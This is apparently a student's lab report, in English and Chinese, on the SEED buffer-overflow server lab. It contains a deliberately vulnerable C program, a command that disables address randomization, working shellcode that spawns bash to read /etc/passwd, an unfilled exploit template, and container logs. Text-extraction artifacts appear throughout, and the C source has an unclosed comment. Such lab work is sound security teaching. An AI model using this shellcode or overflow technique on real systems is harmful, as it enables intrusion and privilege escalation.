Buffer Overflflow Attack Lab (Server Version)

57119133 张明璇

1 Overview

Buffer overflflow is defifined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flflow control of the program, leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks.

In this lab, students will be given four different servers, each running a program with a buffer-overflflow vulnerability. Their task is to develop a scheme to exploit the vulnerability and fifinally gain the root privilege on these servers. In addition to the attacks, students will also experiment with several countermeasures against buffer-overflflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:

Buffer overflflow vulnerability and attack

Stack layout in a function invocation

Address randomization, Non-executable stack, and StackGuard

Shellcode. We have a separate lab on how to write shellcode from scratch.

2：Lab Environment Setup

Turning off Countermeasures

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

The Vulnerable Program

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);          ✰

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];

    int length = fread(str, sizeof(char), 517, stdin);
    bof(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}
```

Task 1:

Get Familiar with the Shellcode

外壳代码通常用于代码注入攻击。它基本上是一段启动 shell 的代码，外壳代码运行“/bin/bash”shell 程序，但给出两个参数“-c”和命令字符串。这表明 shell 程序将运行第二个参数中的命令。我们可以通过此任务熟悉一下 shellcode。

```
[07/13/21]seed@VM:~/.../shellcode$ ./shellcode_32.py
[07/13/21]seed@VM:~/.../shellcode$ ./shellcode_64.py
[07/13/21]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[07/13/21]seed@VM:~/.../shellcode$ a32.out
total 84
-rw-rw-r-- 1 seed seed   160 Dec 22  2020 Makefile
-rw-rw-r-- 1 seed seed   312 Dec 22  2020 README.md
-rwxrwxr-x 1 seed seed 15740 Jul 13 05:01 a32.out
-rwxrwxr-x 1 seed seed 16888 Jul 13 05:01 a64.out
-rwsr-xr-x 1 root seed 16888 Jul 13 04:50 call_shellcode
-rw-rw-r-- 1 seed seed   476 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed   136 Jul 13 05:00 codefile_32
-rw-rw-r-- 1 seed seed   165 Jul 13 05:01 codefile_64
-rwxrwxr-x 1 seed seed  1221 Dec 22  2020 shellcode_32.py
-rwxrwxr-x 1 seed seed  1295 Dec 22  2020 shellcode_64.py
Hello 32
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
```

```
[07/13/21]seed@VM:~/.../shellcode$ a64.out
total 84
-rw-rw-r-- 1 seed seed   160 Dec 22  2020 Makefile
-rw-rw-r-- 1 seed seed   312 Dec 22  2020 README.md
-rwxrwxr-x 1 seed seed 15740 Jul 13 05:01 a32.out
-rwxrwxr-x 1 seed seed 16888 Jul 13 05:01 a64.out
-rwsr-xr-x 1 root seed 16888 Jul 13 04:50 call_shellcode
-rw-rw-r-- 1 seed seed   476 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed   136 Jul 13 05:00 codefile_32
-rw-rw-r-- 1 seed seed   165 Jul 13 05:01 codefile_64
-rwxrwxr-x 1 seed seed  1221 Dec 22  2020 shellcode_32.py
-rwxrwxr-x 1 seed seed  1295 Dec 22  2020 shellcode_64.py
Hello 64
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
[07/13/21]seed@VM:~/.../shellcode$
```

我们可以观察一下 py32 与 py64 的两个输出 a32.out,a64.out.我们可以附上 py 代码。

Activation of network connection failed

```python
#!/usr/bin/python3
import sys

# You can use this shellcode to run any command you want
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

content = bytearray(200)
content[0:] = shellcode

# Save the binary code to file
with open('codefile_32', 'wb') as f:
  f.write(content)
```

（32）

```python
#!/usr/bin/python3
import sys

# You can use this shellcode to run any command you want
shellcode = (
   "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
   "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
   "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
   "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd     *"
   "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"   # Placeholder for argv[2] --> the command string
   "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

content = bytearray(200)
content[0:] = shellcode

# Save the binary code to file
with open('codefile_64', 'wb') as f:
  f.write(content)
```

（64）

观察可知 Shellcode 部分不相同。

Task 2:

Level-1 Attack

在进行攻击的时候，我们需要启动容器，即使用到 docker-compose.yml 文件，

我们的第一个目标运行在 10.9.0.5 上（端口号是 9090），而易受攻击的程序堆栈是一个 32 位的程序。

服务器将接受来自用户的多达 517 个字节的数据，这将导致缓冲区溢出。构建有效负载来利用此漏洞。如果将有效负载保存在文件中，则可以使用以下命令将有效负载发送到 服务器，如果服务器程序返回，它将打印出“正确返回”。如果未打印出此消息，则堆栈程序可能已崩溃。

首先获取参数：**Get the Parameters**

```
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd708
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd698
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd708
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd698
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
```

若执行两次打印出的结果一致且输出地址为 0xffffxxxx，则说明 memory randomization 已关闭。

在 letsetup 中提供了漏洞代码，我们可以用此并启动攻击

```
#!/usr/bin/python3
import sys

# You can copy and paste the shellcode from Task 1
shellcode = (
  ""                          # ☆ Need to change ☆
```

```
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start =  0               # ☆ Need to change ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and save it somewhere in the payload
ret    = 0xAABBCCDD      # ☆ Need to change ☆
offset = 0               # ☆ Need to change ☆

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

我们修改漏洞代码，来对此进行攻击。漏洞实现正确，将执行放在外壳码中的命令。如果命令生成一些输出，则应该可以从容器 窗口看到它们。

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd708
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd698
```

Task 3:

Level-2 Attack

在这项任务中，我们将通过不显示一个基本的信息来稍微增加攻击的难度。我们的目标服务器是 10.9.0.6（端口号仍然是 9090，而脆弱的程序仍然是一个 32 位的程序）。让我们先向此服务器发送一条良性消息。我们将看到由目标容器打印出的以下消息

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd648
server-2-10.9.0.6 | ==== Returned Properly ====
```

之后修改漏洞代码进行攻击

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd148
```

攻击成功，但是对比第一次，会发现攻击的难度相对大了一些，较难攻击。

Task 4:

Level-3 Attack

在之前的任务中，我们的目标服务器是 32 位程序。在此任务中，我们切换到一个 64 位服务器程序 。我们的新目标是 10.9.0.7，它运行了 64 位版本的堆栈程序。让我们首先向此服务器发送一个 hello 消息。我们将看到由目标容器打印出的以下消息。

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe140
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe070
server-3-10.9.0.7 | ==== Returned Properly ====
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe140
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe070
server-3-10.9.0.7 | ==== Returned Properly ====
```

之后修改漏洞代码进行攻击

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe020
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffdf50
```

攻击成功。